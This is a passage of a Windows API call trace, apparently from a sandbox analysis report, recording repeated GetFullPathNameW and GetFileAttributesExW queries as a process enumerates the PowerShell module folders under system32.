lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197bc54, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.301] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0242.301] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0242.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.301] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197c4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.301] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0242.301] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x3f, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", lpFilePart=0x0) returned 0x3e [0242.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.301] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197cd93, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.304] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0242.304] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0242.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.304] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197d5fb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.304] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0242.304] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x50, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", lpFilePart=0x0) returned 0x4f [0242.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.304] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19ea3b1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20706767, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.305] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0242.305] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x38, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", lpFilePart=0x0) returned 0x37 [0242.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.305] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19eb58e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.305] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0242.305] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x3d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", lpFilePart=0x0) returned 0x3c [0242.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.305] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19ec84e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20706767, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.306] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0242.306] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x4a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", lpFilePart=0x0) returned 0x49 [0242.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.306] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a636cb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.307] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0242.307] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x41, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", lpFilePart=0x0) returned 0x40 [0242.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.307] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a63ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.307] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0242.307] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x39, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", lpFilePart=0x0) returned 0x38 [0242.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.307] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a648ba, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.309] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0242.309] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0242.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.309] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a65091, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.309] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0242.309] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x37, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", lpFilePart=0x0) returned 0x36 [0242.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.309] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a65832, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.310] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0242.310] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0242.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.310] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a6609c, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.310] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0242.310] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0242.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.310] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67503, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.311] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0242.311] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0242.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.311] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67e99, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.312] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0242.312] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0242.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.312] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a686f1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.313] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0242.313] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0242.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.313] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1ac9e27, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.314] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0242.314] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0242.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.314] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acae81, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.314] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0242.314] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0242.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.315] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acb52e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.315] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0242.315] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0242.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.315] GetFileAttributesExW (in: 